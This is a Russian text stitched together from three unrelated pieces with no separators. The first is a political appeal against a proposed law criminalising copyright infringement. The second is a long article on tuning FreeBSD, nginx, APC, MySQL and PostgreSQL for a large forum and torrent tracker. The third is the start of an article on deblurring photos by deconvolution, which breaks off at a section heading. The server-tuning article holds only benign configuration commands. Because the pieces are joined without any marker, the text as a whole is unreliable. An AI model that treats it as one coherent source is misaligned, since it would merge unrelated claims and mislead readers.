Презумпция несогласия правообладателя да в сочетании с тяжестью преступления, в случае принятия этакого закона, пожалуй, позволит помариновать за решёткою (по мере судебного разбирательства) любого владельца сколько-нибудь крупного сайта в России. А криминализация множества проступков, прежде не считавшихся уголовными, позволит произвольно привлекать кого угодно из пользователей Сети к уголовной ответственности по заявлению если и не автора (который может же оказаться нравственным человеком), то любой организации наподобие РАО, уполномоченной действовать от имени даже не ведающих о том авторов.

Это значит, что новым режимом России фактически станет постколониальный неофеодализм, в котором гнилыми зомбями воскреснут такие давно позабытые понятия, как податное сословие, как оброк, как правёж. Любой смерд будет обязан произвольным оброком в пользу высшего сословия под страхом правежа; правоторговцы сделаются наконец работорговцами, а «пираты» и «воры» действительными уголовниками. В глазах всего информационного фронтира Россия покроет себя липкими каплями несмываемого позора.

У москвичей остаются ещё способы противостоять этому: акции протеста пред стенами Московской городской думы, воззвания к разуму своих депутатов, и так далее. Осенью, как сообщают «Ведомости», должен решиться этот вопрос.

Действуйте.

Введение


С момента написания мной предыдущей статьи по оптимизации этой связки прошло довольно много времени. Тот многострадальный Pentium 4 c 512Мб памяти, обслуживающий одновременно до тысячи человек на форуме и до 150,000 пиров на трекере уже давно покоится на какой-нить немецкой, свалке, а клуб сменил уже не один сервер. Всё сказанное в ней всё ещё остаётся актуальным, однако есть вещи которые стоит добавить.
Статья большая, так что будет поделена на логические блоки:

0. Зачем вообще что-то оптимизировать?
  
1. Оптимизация ОС (FreeBSD)
  1.1 Переход на 7.х 
  1.2 Переход на 7.2
  1.3 Переход на amd64
  1.4 Разгрузка сетевой подсистемы
  1.5 FreeBSD и большое кол-во файлов
  1.6 Softupdates, gjournal и mount options
  
2. Оптимизация фронтенда (nginx)
  2.1 Accept Filters
  2.2 Кеширование
  2.3 AIO
  
3. Оптимизация бэкенда
  3.1 APC
  3.1.1 APC locking
  3.1.2 APC hints
  3.1.3 APC fragmentation
  3.2 PHP 5.3
  
4. Оптимизация базы данных
  4.1 MySQL 
  4.1.1 Переход на 5.1
  4.1.2 Переход на InnoDB
  4.1.3 Встроеный кеш MySQL - Query Cache
  4.1.4 Индексы
  
4.2 PostgreSQL
  4.2.1 Индексы
  4.2.2 pgBouncer и другие.
  4.2.3 pgFouine
  
4.3 Разгрузка базы данных
  4.3.1 SphinxQL
  4.3.2 Не-RDBMS хранилище
  4.4 Кодировки
  4.5 Асинхронность
  
Приложение. Мелочи.
  1. SSHGuard или альтернатива.
  2. xtrabackup
  3. Перенос почты на другой хост
  4. Интеграция со сторонним ПО
  5. Мониторинг
  
 6. Минусы оптимизации


0. Зачем вообще что-то оптимизировать?


Вообще расти можно:
  • Scale up (Наращивать железо)
  • Scale out (Увеличивать количество фронтендов/машин в middle tier)
  • Оптимизируя

Первый вариант лучше использовать когда у вас много денег, второй, когда хорошая архитектура. Ну а третий, который буду описывать я, используют когда нет ни первого, ни второго, а хочется выжать максимум из имеющегося железа.
 

1. Оптимизация ОС (FreeBSD)


1.1 Переход на 7.х


Что же мы получим при переходе на новую версию FreeBSD?
По мне самое главное это:
Новый ULE 3.0 Scheduler и jemalloc весьма полезны на многоядерных (>=4) системах.
MSI (Message Signaled Interrupts) — они же часто упоминаются в драйверах как Fast Interupts.

Так что если у вас есть legacy 6.x система, которая начинает прогибаться под нагрузкой, возможно стоит перевести её на 7.х.


1.2 Переход на 7.2


Superpages, увеличенный KVA, оптимизированные по-дефолту sysctl'и. Всё это вы получите абсолютно бесплатно просто перейдя на последний релиз ОС.

Прогресс тоже не стоит на месте и вот уже FreeBSD 8.0 готовится к выходу, там нам обещают дальнейшее увеличение производительности. В качестве подтверждения стабильности www.FreeBSD.org был переведён на FreeBSD-CURRENT ещё во времена первых beta-версий. Так что на staging машинах можно её уже начинать гонять.


1.3 Переход на amd64


Переходя на amd64 вы дополнительно получите гиганские размеры KVA и Shared Mem >2Gb. Однако это далеко не самое главное...

Заметьте, что 4 Gb памяти в 2009 году уже во всю ставят на ноутбуки, и ставить столько на сервер с БД довольно смешно. Конечно, для маленькой БД это нормально, но что делать когда она разрастётся и перестанет влезать в память? C i386 ОС доставить ещё памяти будет проблематично, ибо PAE это отдельный глюк. Да и INT64 уже давно много где используется и даёт прирост производительности таким приложениям как, например, базы данных и OpenSSL. (Если у кого есть линки на адекватные бенчмарки "***SQL i686 vs amd64" — кидайте в комменты).


1.4 Разгрузка сетевой подсистемы


Тут во FreeBSD не то что поле, а целый полигон для испытаний.
Всю оптимизацию можно разделить на 2 части: Тюнинг параметров ifconfig и настроек sysctl.conf/loader.conf, давайте в таком порядке и пойдём.
Для начала нужно посмотреть на что наши сетевухи вообще способны, для этого можно воспользоваться такой командой:
# ifconfig -m
capabilities=399b<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM,TSO4,WOL_UCAST,WOL_MCAST,WOL_MAGIC>

В случае если у вас хорошая сетевуха класса em (Intel Gigabit) / bge (Broadcom Gigabit) можно попробовать опции ifconfig:
  • tso (tso4, tso6) — TCP Segent Offloading
  • lro — Large Recive Offload
  • txcsum, rxcsum — RX / TX Checksum Offload
  • link0, link1, link2 — зависят от драйвера, надо смотреть его код. Иногда включают некоторые оптимизации, иногда просто переключает сетевуху в MASTER на Gigabit линках.

Также, на em сетевухах и многоядерных процах можно попробовать драйверы от Яндекса, которые осуществляют обработку пакетов в несколько потоков. Так же очень много всего про тюнинг сетевой подсистемы можно прочитать на nag.ru

Если же у вас третьесортная сетевуха (re/rl/sk/nfe...), то вышеописанные опции могут работать неправильно и приводить к зависанию сервера, так что лучше остановиться на polling'e.

Ну и напоследок рекомендую всем посмотреть обновлённую версию тюнинга FreeBSD 7 «по Сысоеву» и мой лист sysctl'ей с комментариями.


1.5 FreeBSD и большое кол-во файлов


Во FreeBSD есть прекрасная технология кеширования имён файлов в директориии. Так, если у вас в одной директории находится множество файлов, то намного лучше использовать поиск по хеш таблице, нежели постоянно пробегать по всему дереву вширь/вглубь в поисках нужного файла. Однако, макс. кол-во памяти выделенное под dirhash (так называется эта технология) ограничена vfs.ufs.dirhash_maxmem и по-умолчанию составляет, вроде, 2Мб, что весьма мало. Рекомендуется увеличивать память до тех пор пока vfs.ufs.dirhash_mem не перестанет упираться в «потолок».


1.6 Softupdates, gjournal и mount options


Новые терабайтные винты просто шикарны — стоят дешево, да и производительность у них просто касс. Однако, есть один нюанс: когда в датацентре отрубят электричество, то fsck таких терабайтников может занять не один час. Решить эту проблему можно используя softupdates или же прикрутить к системе журналирование через gjournal. Что именно, решать вам.
Пара советов по журналированию: чтобы не потерять производительность, лучше журнальный раздел оправить на отдельный диск, а чтобы не ловить паники из-за его переполнения, лучше сделать раздел журнала побольше (например, RAM+swap).
Если же у вас есть raid с BPU, или вам просто нечего терять, то можно в /etc/fstab добавлять опцию async. А такую опцию как noatime можно практически без опаски порекомендовать всем. (читать комментарий пользователя giner вот тут)


2. Оптимизация фронтенда (nginx)


На самом деле, я крайне против чрезмерной и/или преждевременной оптимизации, к коим относится оптимизация фронтенда. Обычно на веб проектах, где nginx занимается не только статикой, он потребляет 1%-5% CPU в зависимости от характера его использования, остальное же кушает php.
Однако, оптимизация конфига nginx может повлиять на общий response time сайта, так что есть моменты о которых стоит поговорить.
Из стандартных оптимизаций могу порекомендовать
 reset_timedout_connection  on;
 sendfile                   on;
 tcp_nopush                 on;
 tcp_nodelay                on;

Ну и поиграться с количеством воркеров, а не просто ставить их по кол-ву CPU/Винтов. Также рекомендую всем ознакомится с этим документом и темой Nginx best-practices на Serverfault, очень вероятно, что вы узнаете что-то новое.



2.1 Accept Filters


Во FreeBSD имеется технология, позволяющая передавать пакет от ядра к процессу только в случае прихода 1) каких либо данных 2) валидного http запроса. Технология эта называется accept filters. Такие фильтры помогут как разгрузить сервер в случае большого кол-ва соединений, так и немного защитить от DDoS'a (Хотя со вторым лучше справляется ngx_http_limit_req_module, о котором уже не раз писалось на хабре)
Чтобы включить обработку соединений с использованием фильтров, нужно для начала загрузить модуль ядра:
#ls /boot/kernel/|grep acc
   accf_data.ko
   accf_http.ko
#kldload accf_http

Далее в конфиге nginx.conf включить фильтр httpready:
listen 80 default accept_filter=httpready;


2.2 Кеширование


В nginx имеется очень гибкая система кеширования ответов, как от fastcgi, так и от proxy backend'ов. Я думаю у каждого прочитавшего документацию в голове сразу возникло несколько сценариев применения кеширования в своём проекте. Я могу дать только общие советы:
Не дай Бог у вас rss отдаётся через php скрипт. Если так, то спокойно можно кешировать ответ на 3-5 минут.
Думаю почти всю версию сайта для гостей можно запихнуть в кеш тоже минут на 5 (ну если конечно у вас не новостной сайт)

Кроме серверного кеша существует ещё и кеш клиентский. Я бы рекомендовал на всю статику повесить expire в месяц:
    
        location ~* \.(jpg|jpeg|gif|png)$ {
    	   root   /var/nnm-club;
    	   expires      30d;
        }

2.3 AIO


Про введение AIO в nginx уже писали на хабре, там же имеются довольно интересные обсуждения в комментах. Вкратце, AIO полезен на весьма специфичных нагрузках, а так же помогает сохранить response time при уменьшении количества воркеров.
Для использования aio нужно подгрузить модуь ядра aio.ko:
#kldload aio
а затем включить aio и sendfile в nginx.conf
 
 sendfile        on;
 aio             sendfile;

Новые версии nginx позволяют использовать aio вместе с sendfile. По поводу такой конфигурации в документации сказано:
В такой конфигурации используется флаг SF_NODISKIO и sendfile() не блокируется на диске, а сообщает об отсутствии данных в памяти, после чего nginx инициирует асинхронную подгрузку данных, читая только один байт. При этом ядро FreeBSD подгружает в память первые 128K файла, однако при последующих чтениях файл подгружается частями только по 16K. Поэтому этот режим лучше применять для раздачи небольших, до 128K, файлов.

Патч для FreeBSD, для решения этой проблемы тут, возможно со временем он войдёт в -CURRENT и будет портирован в 8.0 и 7.х


3. Оптимизация бэкенда


Тут особо много мне расскажешь, у java, например, есть волшебные строки из серии "-Xms768m -Xmx1280m -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode -XX:+UseCompressedOops -Djava.net.preferIPv4Stack=true -XX:+DoEscapeAnalysis", которые способен понять только наш java-программер, а у PHP 50% оптимизации деает кеширование opcode, остальной прирост наблюдается от кеширования ответов от БД. Так что эта часть топика будет весьма скупой.

3.1 APC


Про оптимизацию APC рассказывали разработчики Facebook. Очень рекомендую почитать, если будет время.

3.1.1 APC locking


Старый File Locking, это именно тот «тормоз», из-за которого вместо APC начинают использовать eAccelerator. Так, что дефолтный locking часто рекомендуют менять на spinlock или pthread mutex. Насколько я помню, pthread mutex стал дефолтным начиная с 3.0.16, так что, если у вас есть сервера со старым APC рекомендую его обновить.

3.1.2 APC hints


Если у вас много .php файлов или вы много кешируете в APC user cache, то весьма вероятно вам придётся поднимать значения
apc.num_files_hint и apc.user_entries_hint соответственно в php.ini. Эти значения отвечают за размеры hash таблиц APC (на самом деле они ещё удваиваются перед применением), а мы знаем что хеш таблицы работают весьма плохо при load factor >= 0.75


3.1.3 APC fragmentation


Фрагментация в APC — это такая штука, из-за которой этот самый кеш хочется взять, скомкать и выкинуть в окно. APC не являтеся заменой нормальному key-value по причине его неспособности удалять автоматом записи по TTL или LRU. То есть, нету никакого GC и записи попавшие в кеш от туда могут уйти только в двух случаях:
  • Когда к ним обратились после истечения их ttl
  • Вся память кончилась и APC прибег к экстренной мере — сброс всего кеша целиком.

Суммируя, можно сказать: Высокая фрагментация является признаком того, что вы используете APC не по назначению.
Тут нужно добавить заметку, судя по комментам тут, в 3.1.х очень многое поправили в плане аллокации памяти, однако судя по этому, 3.1.х работает не у всех.



3.2 PHP 5.3


Тут всё кажется простым — обновляем PHP, получаем прирост производительности. Однако, посмотрев на список deprecated функций в 5.3 можно ужаснутся, благо они пока ещё работают.
Несмотря на всю простоту, думаю, переход от 5.2 до 5.3 будет ойойой каким долгим, особенно в продакшне.


4. Оптимизация базы данных


На самом деле лучшими оптимизациями БД у нас в клубе признаны:
  • Не использование RDBMS вообще (sphinxsearch)
  • Не использование базы (кеширование)
  • Batch запросы (where in (...), batch insert/update)
  • Ассинхронная работа с БД (memcacheQ, apacheMQ, AQMP, crontab)

Однако, большая часть вышеописанных средств требуют довольно серьёзного переписывания приложения.


4.1 MySQL


Мануалов в инете по оптимизации MySQL довольно много, есть грамотные, есть не очень. В любом случае, за время жизни любого веб-проекта его база успеет упереться и в память, и в диск, и может даже в процессор, так что простыми howto не обойтись, придётся смотреть конференции, учится пользоваться профайлерами(oprofile, systemtap, dtrace) и использовать большое кол-во дополнительного ПО. Иными словами, не только понимать, что такое индексы, сортировки и группировки, но так же понимать как MySQL их использует внутри, знать что такое EXPLAIN, Query cache, преимущества и недостатки различных storage engine'ов, в общем, быть 100% DBA для своего проекта.
Далее я опишу способы которые помогут с минимальными изменениями кода (а то и вовсе без них), оптимизировать MySQL.
Как я уже говорил в предыдущей части, 50% тюнинга MySQL можно провести в полуавтоматическом режиме всего двумя утилитами:

4.1.1 Переход на 5.1


Переход на 5.1 приносит множество бонусов, мне конкретно были интересны:
  • Оптимизация оптимизатора (особенно GROUP BY)
  • InnoDB plugin
  • Partitioning
  • Row based replication

Всё это может прибавить производительности, так что на 5.1 перелезать стоит. По поводу шума вокруг того что 5.1 не стабильна, то всё это уже не актуально, да и изначально было слишком раздуто (если у кого есть какие противопоказания или bad expirience перехода на 5.1 — прошу в комменты).
Самые экстрималы, конечно, уже давно тестируют 5.4, там говорят производительность очень хорошо подняли (не без помощи патчей от Гугла и Percona, я думаю). Но до продакшна 5.4 ещё далеко.


4.1.2 Переход на InnoDB


Вот скажите, если у вас используется MyISAM, то почему именно он? Я вообще не понимаю как может продакшн сервер жить на MyISAM (хотя, говорят такие существуют), где нет транзакций (если сервер упадёт во время большого UPDATE, то половина данных будет изменена, а половина нет), есть TABLE LOCK (во время записи в таблицу она блокируется на чтение и vice vresa), а REPAIR после пропадания электричества в датацентре может занимать десятки часов. Единственное, что спасает MyISAM — это наличие Fulltext Index, но даже он вряд ли может конкурировать по качеству и скорости со sphinxsearch.


Да, у InnoDB есть свои недостатки (deadlock'и, бОльшие по размеру индексы, отсутствие FTS), но бонусов, имхо, в разы больше: Во-первых, InnoDB полностью ACID-совместим, а значит любая операция, даже такая как дамп базы данных, может быть произведена в одну транзакцию (опция mysqldump --single-transaction), а во-вторых, он имеет row-level locking (против TABLE LOCK у myisam), это означает, что данные могут одновременно и читаться и писаться в несколько потоков не блокируя друг друга.
Опять же, люди совсем озабоченные производительностью сердца своего стартапа могут использовать XtraDB, говорят оно сильно помогает на I/O-bound workload'ах.


4.1.3 Встроеный кеш MySQL — Query Cache


Query Cache — это одна из самых «недопонимаемых» частей MySQL. Многие его ставят в 512Mb и думают, что «щас всё залетает», многие его отключают вообще потому, что «всёравно не работает». Попытаюсь пролить свет на значение этого параметра. Начну с того, что больше, в данном случае, не лучше, так что задирать его не стоит. Далее, надо уточнить, что Query Cache — это полностью не распараллеленная подсистема, так что на кол-ве процессоров >=8 её лучше отключать, ибо будет только тормозить. Ну и последнее, но не самое бесполезное — суть Query Cache в том, что его содержимое, относящееся к какой либо таблице, полностью сбрасывается при любом изменении этой самой таблицы. Тоесть, фактически, Query Cache даёт прирост производительности только на грамотно нормализованных таблицах.
Подробнее о QC можно прочитать тут.


4.1.4 Индексы


Как отсутствие индекса вредно для SELECT'a, так и лишние индексы вредны для INSERT/UPDATE. Часто бывает так, что старый, когда-то сделанный индекс, может жить в базе не один год, занимая драгоценную память и замедляя изменения данных. Тут приходит на помощь простенький SQL запрос. Полезно? Множество подобных tips'ов можно найти тут.



4.2 PostgreSQL


Для меня Postgres остаётся довольно странной системой: с одной стороны это база Enterprise класса и на нём бегает Skype, с другой настройки по умолчанию такие, что он может запустится даже на моём мобильнике. В общем надо тюнить, а тюнить тут можно практически всё. Из возможных почти 200 параметров, за тюнинг отвечают основные 45 =)
Кстати, что ещё поразило, так это то, что при закомменчивании строки в конфиге, PostgreSQL не сбрасывает её на «дефолт», а использует ту, что «запомнил»… Показалось?
По тюнингу Postgres в инете много всего (часть мануалов устарела, так что обращайте внимание на дату публикации и ключевое слово vacuum_mem, которое заменено на maintenance_mem в новых версиях). Есть что-то типа FAQ: вскользь о главном, есть очень глубокомысленные трактаты для продвинутых администраторов БД… Я расскажу лишь основы которые помогут проекту продержаться на ногах, пока админ с програмером ищут квалифицированного DBA.


4.2.1 Индексы


Тут у некоторых может возникнуть справедливый вопрос: почему, мол, у MySQL индексы были на последнем месте, а у PosgreSQL на первом? Всё просто, ибо возможности его в этом плане намного выше, чем у MySQL. B-tree, hash, GiST, GIN, а также multicolumn, partial и indexes on expressions: во всём этом должен разбираться человек который программирует под PostgerSQL. И не просто знать, что такие существуют, а понимать, в каких случаях нужно использовать одни типы индексов, а в каких другие.
Полезные для мониторинга SQL-запросы (в том числе и статистику по индексам) можно найти тут.


4.2.2 pgBouncer и другие.


pgBouncer (или его альтернатива) — первое, что должно быть установлено на сервере с базой данных. Я уже насмотрелся на cacti-графики показывающие десятикратное падение нагрузки от простой установки менеджера соединений. Если пулер соединений у вас не установлен, то на каждое соединение с базой у вас запускается отдельный процесс, далее этот процесс отъедает, как минимум, work_mem оперативки и начинает бороться за CPU и жесткий диск с себе подобными выполняя SQL запрос. Всё бы хорошо, но вот когда количество таких процессов зашкаливает за 200-500 серверу, даже очень мощному, становится туго. Очень туго. pgBouncer нас от этого спасает.
Также список полезных или даже незаменимых приложений для работы с PostgreSQL можно найти на сайте postgresqlrussia.org.


4.2.3 pgFouine


pgFouine как раз одна из таких незаменимых программ. Это очень продвинутый аналог mysqlsla на php. В комплекте с Playr (реплэйер продакшн логов) она позволяет проводить оптимизацию запросов на staging серверах в практически «боевых» условиях.


4.3 Разгрузка базы данных


Как я уже говорил, лучший способ оптимизировать работу БД и увеличить её производительность — это обращаться к ней как можно реже.


4.3.1 SphinxQL


В прошлой статье я говорил, про то что мы ввели поиск на основе sphinxsearch. Но не все смогут перерыть тысячи строк кода, чтобы начать использовать SphinxAPI, а потом потратить ещё 1-2 итерации на тестирование и отлов багов. Проблема решилась очень элегантно: SphinxSearch научился притворяться MySQL сервером, то есть для того чтобы начать его использовать необходимо лишь создать sphinx.conf, создать записи для indexer'a в cron'e и переключить поиск на другую «как бы mysql» базу. Есть вероятность, что дальнейшей правки кода не понадобиться.
Что вы получаете при переходе на сфинкс? Кроме улучшений скорости и качества поиска, вы сможете избавиться от MyISAM и его FTS, ну и, что очень интересно, так это придумать новые применения вашему поиску, мы вот, объединили поиск с RSS, что оказалось весьма удобным.
А вот и пара примеров, в которых можно выиграть от наличия sphinxsearch (придумано почти с ходу, так что сильно не бейте):

Пример 1: Я давно жду Starcraft 2, я всегда могу добавить в Google Reader RSS вида: rss.php?q=«starcraft 2» и увидеть все сообщения в которых его обсуждают. Так же, я, как участник форума, хочу видеть все посты где упоминается мой ник. Это тоже не проблема, надо всего лишь подправить урл.

Пример 1.5: Пользователь зашёл на сайт увидел строку поиска, ввёл запрос, нечего не нашлось, но появилась ссылка «Подписаться на этот поиск», со ссылкой на RSS для этого запроса. Так просто пользователь от вас не уйдёт =))

Пример 2: Я хочу найти фильм 21, или, не дай Бог, фильм 9 — MySQL не самоубийца, он такой запрос просто откинет, посетовав на то, что ft_min_word_len больше, чем длинна запроса. Сфинкс практически мгновенно вернёт результат в виде «Двадцать Одно / 21», а во втором случае даже даст выбор между «Район №9 / District 9» и «Девять / 9».



4.3.2 Не-RDBMS хранилище


Существует очень много мест в проекте, где можно не использовать реляционную базу данных. Достаточно простого key-value хранилища. Благо таких сейчас хватает.
Также есть весьма интересные проекты как, например, Hive (Data Warehouse с SQL-подобным QL и бекендом в виде Hadoop). В общем с хранилищем данных, можно ой как поэкспериментировать, не одним Oracle'ом (MySQL'ем, PostgreSQL'ем, FoxPro, нужное подчеркнуть) живы.
Также key-value БД из-за своей скорости используются для кешиорвание выборок из реляционных баз. По поводу самого кеширования: после пролистывания презентации, просмотра видео и прочтения полного текста доклада из блога Андрея Смирнова, мне практически нечего добавить. Лишь пара советов:
Если у вас действительно большой проект на PHP, то не забываете про возможность opcode cache хранить custom данные. В нём можно хранить самые часто используемые глобальные переменные: во-первых их не много и они маленькие, так что памяти кушать они будут совсем чуть-чуть, во-вторых скорость выборки будет выше, чем из memcached находящегося на соседней машине. Ну и самое интересное: в больших проектах бывали случаи когда блок глобальных переменных записывали на какую-то одну машину из memcached-фермы, так как эти переменные юзают все бэкенды, то трафик на эту машину возрастал до неприличных размеров и машинка начинала очень сильно тормозить, а вместе с ней и все бэкенды. Выходом из такой ситуации являлось бы либо хранение глобальных переменных в opcode cacher'e типа APC/eAccelerator, либо клонирование переменных на все сервера из memcached-фермы и внесение исключений в алгоритм consistency hashing'а.



4.4 Кодировки


Небольшая заметка по поводу кодировок:
UTF-8 хорош всем кроме одного — русский текст в нём занмает ровно в два раза больше места, так что иногда есть над чем задумываться перед тем как его использовать, если у вас целиком одноязычный контингент.


4.5 Асинхронность


На самом деле, далеко не всегда требуется синхронная обработка данных, довольно часто её можно заменить асинхронной.
Асинхронная обработка помогает 1) Улучшить время реакции сайта/приложения 2) Уменьшить нагрузку на сервер.
Если с первым всё понятно, то второе является следствием того, что batch запросы выполняются быстрее одиночных.
Асинхронность можно организовать по разному. В крупных проектах для этого используют очереди сообщений (ApacheMQ, RabbitMQ, ZeroMQ. Про AQMP уже несколько раз писалось на хабре), в мелких можно обойтись и cron'ом.


Приложение. Мелочи.


1. SSHGuard или альтернатива.


Кроме того, что это стандартная практика ставить анти-брутфорс для ssh, так это ещё и дополнительно помогает защитить сервер от резких всплесков Load Avarenge когда на него нападают совсем офигевшие боты и начинают брутфорсить пары логин-пасс десятками тысяч.


2. xtrabackup


LVM снапшоты — это тормоз. mysqldump — лочит таблицы и делает текстовые бэкапы, которые могут восстанавливаться неделями. Очень хорошим инструментом для бэкапа MySQL является xtrabackup от Percona. Сильно расписывать его не буду, ибо русская часть инета о нём наслышана. Вкратце, xtrabackup это инструмент, позволяющий проводить не блокирующий бинарный бэкап InnoDB/XtraDB таблиц и имеющий кучу настроек. Почему очень хороший, а не отличный? Поскольку самым лучшим инструментом, на мой взгляд, являются клоны в ZFS. Делаются мгновенно, а восстановление базы с них это просто изменение пути к файлам в конфиге мускула, да и при неудачном востановлении можно откатится обратно. Также с клонов можно восстанавливать систему целиком, например в случае неудачного апгрейда ядра.
А вообще, вроде, в 5.4 нам обещают встроеный online backup


3. Перенос почты на другой хост


Данная оптимизация кажется минорной, однако при большом кол-ве спама льющегося на сервер помогает сильно уменьшить трафик и спасти множество IOPs.


4. Интеграция со сторонним ПО


Как-то на хабре проскакивала статья про online игры, мол, для всего нужно использовать наиболее подходящие средства (кто-нибудь помнит как она называлась?). Так, например, для того, чтобы дать возможность пользователям обмениваться почтовыми сообщениями с вложениями, не нужно начинать писать PHP скрипт с бэкендами в виде БД/ФС, можно использовать для этого, то что в реальной жизни применяется для обмена текстовыми сообщениями — связку smtp/imap и написать к ним простенький адаптер. По аналогии, чат для пользователей можно организовать на основе jabber сервера с javascript клиентом, который вообще не будет грузить сервер. Нужно отмечать объекты на на карте? Тут легче лёгкого написать mashup с использованием Yandex/Google карт. Что интересно, так такие системы, написанные на основе адаптера к готовым продуктам зачастую очень хорошо масштабируются, по крайней мере, на порядки лучше, чем решения на PHP и MySQL.


5. Мониторинг


Нечего оптимизировать, если не знаешь текущего состояния. Метрики производительности, задержек, свободных ресурсов, всё это должно мониториться, логироваться и, желательно, рисоваться на графиках. Благо инструментов хватает: Nagios, Zabbix, Cacti, Munin....

Берите любой, ставьте на сервак(и) и наблюдайте за влиянием оптимизаций на нагрузку сервера. Также мониторинг поможет предвидеть появление проблем с производительностью.


6. Минусы оптимизации


Bleeding-edge он, ведь, не случайно так назван. Во время переезда клуба на новый сервер мы это почувствовали на своей шкуре, умудрившись найти баги практически во всём (APC1, APC2, MySQL, nginx, xbtt), благо OpenSource, что-то простое можно самим починить.


Вместо послесловия


Ну вот, вроде, и всё. Почти неделю печатал… Что осилил, то осилил, за кадром оставил ZFS, распределённые ФС, репликацию и шардинг, ибо это темы для отдельных постов. С грамматикой и пунктуацией у меня всё очень плохо, хоть я конечно и проверил всё несколько раз в ворде и тавтологии, так что если что найдёте — пишите в личку, поправлю.

Критика в адрес статьи приветствуется, ибо если нашли косяк в посте, то, скорее всего, нашли косяк в одном из моих проектов.
Восстановление искаженных изображений является одной из наиболее интересных и важных проблем в задачах обработки изображений – как с теоретической, так и с практической точек зрения. Частными случаями являются размытие из-за неправильного фокуса и смаз – эти дефекты, с которым каждый из вас хорошо знаком, очень сложны в исправлении – именно они и выбраны темой статьи. С остальными искажениями (шум, неправильная экспозиция, дисторсия) человечество научилось эффективно бороться, соответствующие инструменты есть в каждом уважающем себя фоторедакторе.

Почему же для устранения смаза и расфокусировки практически ничего нету (unsharp mask не в счет) – может быть это в принципе невозможно? На самом деле возможно – соответствующий математический аппарат начал разрабатываться примерно 70 лет назад, но, как и для многих других алгоритмов обработки изображений, все это нашло широкое применение только в недавнее время. Вот, в качестве демонстрации вау-эффекта, пара картинок:



Я не стал использовать замученную Лену, а нашел свою фотку Венеции. Правое изображение честно получено из левого, причем без использования ухищрений типа 48-битного формата (в этом случае будет 100% восстановление исходного изображения) – слева самый обычный PNG, размытый искусственно. Результат впечатляет… но на практике не все так просто. Под катом подробный обзор теории и практические результаты.
Осторожно, много картинок в формате PNG!

Введение


Начнем издалека. Многие считают, что размытие необратимая операция и информация безвозвратно теряется, т.к. каждый пиксель превращается в пятно, все смешивается, а при большом радиусе размытия так и вовсе получим однородный цвет по всему изображению. Это не совсем так – вся информация просто перераспределяется по некоторому закону и может быть однозначно восстановлена с некоторыми оговорками. Исключение составляет лишь края изображения шириной в радиус размытия – там полноценное восстановление невозможно.

Продемонстрируем это «на пальцах», используя небольшой пример для одномерного случая – представим что у нас есть ряд из пикселей со значениями:
x1 | x2 | x3 | x4… – Исходное изображение

После искажения значение каждого пикселя суммируется со значением левого, т.е. x’i = xi + xi-1. По идее, надо еще поделить на 2, но опустим это для простоты. В результате имеем размытое изображения со значениями пикселей:
x1 + x0 | x2 + x1 | x3 + x2 | x4 + x3… – Размытое изображение

Теперь будем пробовать восстанавливать, вычтем последовательно по цепочке значения по схеме – из второго пиксела первый, из третьего результат второго, из четвертого результат третьего и так далее, получим:
x1 + x0 | x2 — x0 | x3 + x0 | x4 — x0… – Восстановленное изображение

В итоге вместо размытого изображения получили исходное изображение, к пикселям которого добавлена неизвестная константа x0 с чередующимся знаком. Это уже намного лучше – эту константу можно подобрать визуально, можно предположить, что она примерно равна значению x1, можно автоматически подобрать с таким критерием, чтобы значения соседних пикселей «скакали» как можно меньше и т.д. Но все меняется, как только мы добавляем шум (которые всегда есть в реальных изображениях). При описанной схеме на каждом шаге будет накапливаться вклад шума в общую составляющую, что в итоге может дать совершенно неприемлемый результат, но, как мы убедились, восстановление вполне реально даже таким примитивным способом.

Модель процесса искажения


А теперь перейдем к более формальному и научному описанию этих процессов искажения и восстановления. Будем рассматривать только полутоновые черно-белые изображения в предположении, что для обработки полноцветного изображения достаточно повторить все необходимые шаги для каждого из цветовых каналов RGB. Введем следующие обозначения:
f(x, y) – исходное неискаженное изображение
h(x, y) – искажающая функция
n(x, y) – аддитивный шум
g(x, y) – результат искажения, т.е. то, что мы наблюдаем в результате (смазанное или расфокусированное изображение)

Сформулируем модель процесса искажения следующим образом:
g(x, y) = h(x, y) * f(x, y) + n(x, y) (1)

Задача восстановления искаженного изображения заключается в нахождении наилучшего приближения f'(x, y) исходного изображения. Рассмотрим каждую составляющую более подробно. С f(x, y) и g(x, y) все достаточно понятно. А вот про функцию h(x, y) нужно сказать пару слов – что же она из себя представляет? В процессе искажения каждый пиксель исходного изображения превращается в пятно для случая расфокусировки и в отрезок для случая простого смаза. Либо же можно сказать наоборот, что каждый пиксель искаженного изображения «собирается» из пикселей некоторой окрестности исходного изображения. Все это друг на друга накладывается и в результате мы получаем искаженное изображение. То, по какому закону размазывается или собирается один пиксель и называется функцией искажения. Другие синонимы – PSF (Point spread function, т.е. функция распределения точки), ядро искажающего оператора, kernel и другие. Размерность этой функции, как правило меньше размерности самого изображения – к примеру, в начальном рассмотрении примера «на пальцах» размерность функции была 2, т.к. каждый пиксель складывался из двух.

Искажающие функции


Посмотрим как выглядят типичные искажающие функции. Здесь и далее будем использовать ставший уже стандартным для таких целей инструмент – Matlab, он содержит в себе все необходимое для самых разнообразных экспериментов с обработкой изображений (и не только) и позволяет сосредоточиться на самих алгоритмах, перекладывая всю рутинную работу на библиотеки функций. Впрочем, за это приходится расплачиваться производительностью. Итак, вернемся к PSF, вот примеры их вида:


PSF в случае размытия по Гауссу функцией fspecial('gaussian', 30, 8);


PSF в случае смаза фунцией fspecial('motion', 40, 45);

Операция применения искажающей функции к другой функции (к изображению, в данном случае) называется сверткой (convolution), т.е. некоторая область исходного изображения сворачивается в один пиксель искаженного изображения. Обозначается через оператор «*», не путать с обычным умножением! Математически для изображения f с размерами M x N и искажающей функции h c размерами m x n это записывается так:

(2)

Где a = (m — 1) / 2, b = (n – 1) / 2. Операция, обратная свертке, называется деконволюцией (deconvolution) и решение такой задачи весьма нетривиально.

Модель шума


Осталось рассмотреть последнее слагаемое, отвечающее за шум, n(x, y) в формуле (1). Причины шума в цифровых сенсорах могут быть самыми разными, но основные это – тепловые колебания и темновые токи. На величину шума также влияет ряд факторов, таких как значение ISO, тип матрицы, размер пикселя, температура, электромагнитные наводки и пр. В большинстве случаев шум является Гауссовым (который задается двумя параметрами – средним и дисперсией), а также является аддитивным, не коррелирует с изображением и не зависит координат пикселя. Последние три предположения являются очень важными для дальнейшей работы.

Теорема о свертке


